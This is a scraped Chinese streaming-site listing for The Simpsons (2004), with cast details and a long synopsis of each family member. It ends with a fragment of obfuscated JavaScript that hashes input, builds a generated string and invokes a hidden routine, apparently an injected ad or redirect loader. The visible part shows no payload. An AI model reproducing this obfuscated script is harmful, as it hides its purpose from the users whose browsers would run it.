年份:2004
地区:美国
更新:2026-01-17
导演:大卫·西尔弗曼 兰斯·克雷默
主演:丹·卡斯泰兰尼塔 朱莉·卡夫娜 南茜·卡特莱特 雅德丽·史密斯 汉克·阿扎利亚 哈里·谢尔 潘蜜拉·
剧情介绍:辛普森是美国最普通的一个五口之家:爸爸荷马·辛普森是一个简单到不能再简单的男人,在斯普林菲尔德的核能工厂勉强算是有一份工作,只是在同一个职位上被解雇和再次聘用了无数次……荷马在酒馆中花掉的时间远比在家里多得多,因为只有在那里,他才能受到别人的欢迎--前提是他消费了。酒馆是一个完全能够让荷马放松的地方,他可以用自己钥匙发出难听的声音,可以把鼻涕擦在衬衫上,可以一杯接一杯地品尝散发着诱人香味的啤酒。荷马将那里当成一个只要喝掉几杯啤酒、吃掉一两个卤蛋就能让一切看起来都变成可能的地方:毕竟生命太短暂了,不可能慢慢攒钱,所以他的愿望就是:天上掉馅饼,一夜暴富。妈妈马芝·辛普森属于那种成功男人背后的完美女人,是辛普森家成员之间最可爱的“黏着剂”,用一种不可思议的乐观态度支持着每一位家人。她拥有着一种非凡的家务技能,总可以创造奇迹,能够将鸡骨变成时髦的项链、将剩菜剩饭变成人间美味,就连火蚁的入侵,也被变成了一场教育意义和娱乐性并存的昆虫马戏。尽管荷马自私自利,经常忘了家人的生日、纪念日甚至是假日;尽管他喜欢张着嘴嚼东西、嗜赌,还经常和一群与他一样处在底层社会的人跑到酒馆喝酒……但马芝从没有想过有一天离开荷马,她相信这一定是爱情的力量。面对荷马制造的无数次混乱,马芝从没有放弃过希望。大儿子巴特·辛普森是个喜欢恶作剧的小鬼头,对于别人说他过于依赖电视的指责充耳不闻,他有许多“爱好”,例如在减肥中心吃冰淇淋、升级了吐痰的“艺术”、站在房顶手拿棒球棍保卫自己的家不受UFO的袭击……作为一名执着不悔的捣蛋鬼,巴特受到了很多人的排斥,但是他不在乎,他只在乎,并恐惧着--有一天会良心发现,变成好人。大女儿丽莎·辛普森是智慧与理性的典范,可是她却是这个家里最容易被忽视的人--除非荷马或巴特为了实现自己那荒唐的计划需要借助她的头脑。丽莎只好将希望转移到了学校,企盼自己独特的能力可以在这里受到重视。情况表面上看确实如此,因为她的老师总是用最好的成绩“A”来奖励她的机灵与天分,可是在态度上却仍然是全权的冷淡。至于她的同学,却对她过分“注意”了,总是给她起各式各样的外号。丽莎只好将悲伤和失望全部化为力量,她喜欢吹萨克斯来疏导自己的情绪,还是曲棍球队的明星守门员。虽然模范学生丽莎远没有淘气的巴特受到的关注多,但两人却是最坚实的同盟,因为在巴特一连串恶魔似的计划中,丽莎是他永远的帮手。刚刚出生没多久的小女儿麦琪·辛普森总是用平静来抵抗家里的所有混乱,但一切都在她学会说话后有了改变。当荷马照顾麦琪时,她就可以自由自在地做任何她想做的事了,包括从狗盆里喝水,完成她的“探险”任务……麦琪只和最理解她的人做朋友,所以她的朋友就只有一只被称做“圣诞老人的小助手”的狗和一只叫“雪球二世”的猫。
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>>0}for(let j=16;j<64;j++){const s0=ROTR(7,w[j-15])^ROTR(18,w[j-15])^(w[j-15]>>>3);const s1=ROTR(17,w[j-2])^ROTR(19,w[j-2])^(w[j-2]>>>10);w[j]=(w[j-16]+s0+w[j-7]+s1)>>>0}let[a,b,c,d,e,f,g,h]=H;for(let j=0;j<64;j++){const S1=ROTR(6,e)^ROTR(11,e)^ROTR(25,e);const ch=(e&f)^(~e&g);const temp1=(h+S1+ch+K[j]+w[j])>>>0;const S0=ROTR(2,a)^ROTR(13,a)^ROTR(22,a);const maj=(a&b)^(a&c)^(b&c);const temp2=(S0+maj)>>>0;h=g;g=f;f=e;e=(d+temp1)>>>0;d=c;c=b;b=a;a=(temp1+temp2)>>>0}H=H['\x6d\x61\x70']((v,i)=>(v+[a,b,c,d,e,f,g,h][i])>>>0)}const hashBytes=[];for(let h of H){hashBytes['\x70\x75\x73\x68']((h>>>24)&0xff);hashBytes['\x70\x75\x73\x68']((h>>>16)&0xff);hashBytes['\x70\x75\x73\x68']((h>>>8)&0xff);hashBytes['\x70\x75\x73\x68'](h&0xff)}const result=hashBytes['\x6d\x61\x70']((b,i)=>{const mixed=(b+i*7)%36;return mixed<26?window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](97+mixed):window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](48+mixed-26)});return result['\x6a\x6f\x69\x6e']("")};Ya1['\x69\x64\x69\x61']()})(window,"PPK4qjzM8eo7Bbq3uu3dpq","2361","2","4","ptg2l");